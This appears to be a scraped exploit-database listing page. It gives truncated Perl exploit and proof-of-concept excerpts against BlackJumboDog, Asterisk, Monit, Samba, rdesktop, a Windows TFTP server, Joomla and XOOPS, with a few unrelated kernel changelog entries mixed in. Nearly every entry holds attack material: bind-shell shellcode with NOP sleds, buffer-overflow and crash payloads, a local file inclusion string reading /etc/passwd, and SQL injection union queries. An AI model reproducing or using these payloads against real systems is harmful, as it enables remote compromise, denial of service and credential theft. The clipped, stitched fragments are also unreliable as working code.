BlackJumboDog Remote Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl blackJumboDog Exploit code by Tal zeltzer use strict; use IO::Socket::INET; usage unless@ARGV == 2; my $host = shift@ARGV; my $port = shift@ARGV; win32bind - Encoded Shellcode \x00\x0a\x09 EXITFUNC=seh LPORT=4444 Size=399 http://metasploit.com my...

asterisksip-dos.txt

!/usr/bin/perl -w asterisk AST-2008-008 by [email protected] AST-2008-008 - Remote Crash Vulnerability in SIP channel driver when run in pedantic mode use Getopt::Std; use IO::Socket; use strict; my %args; getopts"h:p:", %args; if !$argsh || !$argsp usage; my $sock = IO::Socket::INET-new...

Monit <= 4.1 Remote Root Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl monit = 4.1 remote root exploit coded by gsicht 09.04.04 use IO::Socket::INET; $socket = 0; my $shellcode = 8 + 88 = 96 bytes portbind 31337 "\x90\x90\x90\x90\x90\x90\x90\x90" . "\x90\x90\x90\x90\x90\x90\x90\x90" . "\x31\xc0\x31\xdb\xb0\x17\xcd\x8...

joomlaeasy-sql.txt

!/usr/bin/perl use IO::Socket; use strict; INFO Example: Host: xxx.lu &md: 0f8ab366793a0d1da85c6f5a8d4fb576 print "-+-- Joomla Component EasyBook 1.1 SQL Injection Exploit--+-\n"; print "-+-- --+-\n"; print "-+-- Author: ZAMUT --+-\n"; print "-+-- Vuln: gbid= --+-\n"; print "-+-- Homepage:...

Asterisk 1.2.x - SIP channel driver / in pedantic mode Remote Crash

!/usr/bin/perl -w asterisk AST-2008-008 by [email protected] AST-2008-008 - Remote Crash Vulnerability in SIP channel driver when run in pedantic mode use Getopt::Std; use IO::Socket; use strict; my %args; getopts"h:p:", %args; if !$argsh || !$argsp usage; my $sock = IO::Socket::INET-new...

Samba 3.0.29 (Client) - receive_smb_raw() Buffer Overflow (PoC)

Samba 3.0.29 Client - receivesmbraw Buffer Overflow PoC !/usr/bin/perl 06/01/2008 - ksOSe smbclient //localhost/w00t glibc detected smbclient: free: invalid next size fast: 0x0823c2d8 use warnings; use strict; use IO::Socket; my $sock = IO::Socket::INET-newLocalAddr = '0.0.0.0', LocalPort = '445'...

Samba 3.0.29 (Client) - 'receive_smb_raw()' Buffer Overflow (PoC)

!/usr/bin/perl 06/01/2008 - ksOSe smbclient //localhost/w00t glibc detected smbclient: free: invalid next size fast: 0x0823c2d8 use warnings; use strict; use IO::Socket; my $sock = IO::Socket::INET-newLocalAddr = '0.0.0.0', LocalPort = '445', Listen = 1, Reuse = 1 || die$!; whilemy $csock =...

entertainment-lfi.txt

!/usr/bin/perl EntertainmentScript V1.4.0 page.php page Local File Inclusion Exploit Founded & Exploited by : Stack-Terrorist v40 Contact: Ev!L = see down Greetz : Houssamix & Djekmani & Jadi & iuoisn & All muslims HaCkeRs : P0c : http://localhost.il/page.php?page=../../../../../etc/passwd%00...

FicHive 1.0 - 'category' Blind SQL Injection

!/usr/bin/perl Usage: ./test.pl -url "http://localhost/scriptpath/index.php?go=Fiction&category= use LWP::UserAgent; use Getopt::Long; use IO::Handle; use strict; $| = 1; my $defaultdebug = 0; my $defaultlength = 13; my $defaultmethod = "GET"; my $defaulttime = 0; my $version = "1.1"; my...

rdesktop 1.5.0 - process_redirect_pdu() BSS Overflow (PoC)

rdesktop 1.5.0 - processredirectpdu BSS Overflow PoC !/usr/bin/perl http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=697 use strict; use IO::Socket; my $sock = IO::Socket::INET-newLocalAddr = '0.0.0.0', LocalPort = '3389', Listen = 1, Reuse = 1 || die$!; my $evil =...

迅雷本地溢出POC

No description provided by source. !/usr/bin/perl use IO::Socket; if $socket = IO::Socket::INET-newPeerAddr = “127.0.0.1″,PeerPort = “36897″,Proto = “TCP” $exploit = “XLDAP|savepath|”. ”A” x 397. ”A” x 500. “|XLDAP”; print $socket $exploit; sleep1; close$socket; else...

rdesktop 1.5.0 process_redirect_pdu() BSS Overflow Vulnerability PoC

Exploit for linux platform in category dos / poc ==================================================================== rdesktop 1.5.0 processredirectpdu BSS Overflow Vulnerability PoC ==================================================================== !/usr/bin/perl...

rdesktop 1.5.0 - 'process_redirect_pdu()' BSS Overflow (PoC)

!/usr/bin/perl http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=697 use strict; use IO::Socket; my $sock = IO::Socket::INET-newLocalAddr = '0.0.0.0', LocalPort = '3389', Listen = 1, Reuse = 1 || die$!; my $evil = "\x03\x00\x01\x47\x02\xf0\x80\x68\x00\x01\x03\xeb\x70\x81\x38"...

TFTP Server for Windows 1.4 ST Remote BSS Overflow Exploit

No description provided by source. !/usr/bin/perl TFTPServer SP v1.4 for Windows remote .bss overflow exploit The Service or the RunStandAlone version. URL: http://sourceforge.net/projects/tftp-server/ Author: tix or tixxDZ [email protected] Date: 07/05/2008...

rdesktop-underflow.txt

!/usr/bin/perl http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=696 use warnings; use strict; use IO::Socket; my $sock = IO::Socket::INET-newLocalAddr = '0.0.0.0', LocalPort = '3389', Listen = 1, Reuse = 1 || die$!; whilemy $c = $sock-accept print $c "\x03" . TPKT version "\x0...

kernel security and bug fix update

2.6.18-53.1.19.0.1.el5 - NET Add entropy support to e1000 and bnx2 John Sobecki ORA 6045759 - NET Fix msi issue with kexec/kdump Michael Chan ORA 6219364 - MM Fix allocpagesnode static nid' race made kernel crash Joe Jin ORA 6187457 - splice Fix bad unlockpage in error case Jens Axboe ORA 6263574...

I4L: fix isdn_ioctl memory issue

The isdnioctl function in isdncommon.c in Linux kernel 2.6.23 allows local users to cause a denial of service via a crafted ioctl struct in which iocts is not null terminated, which triggers a buffer overflow...

kernel security and bug fix update

kernel-2.4.21-57.0.0.0.1.EL - add directio support for qla drivers herb ora 6346849 - support PT Quad card ora 5751043 - ora 5088963: io to nfs partition hangs - add entropy for bnx2 nic ora 5931647 - avoid large allocation-fragmentation in MTU zab - fix clear highpage wli kernel-2.4.21-57.EL -...

Xoops All Version -Articles- Article.PHP (ID) Blind SQL Injection ExpL0it

/Cr@zyKing / http://coderx.org Xoops All Version -Articles- Article.PHP ID Blind SQL Injection ExpL0it Sql 1-2 article.php?id=3+union+select+1,2,3,4,5,6,AESDECRYPTAESENCRYPTUSER,0x71,0x71,8,9,0,1,2,3,4,5,6,7,8,9,0/...

XOOPS 2.0.14 Article Module - article.php SQL Injection

XOOPS 2.0.14 Article Module - article.php SQL Injection source: https://www.securityfocus.com/bid/28879/info XOOPS Article module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could...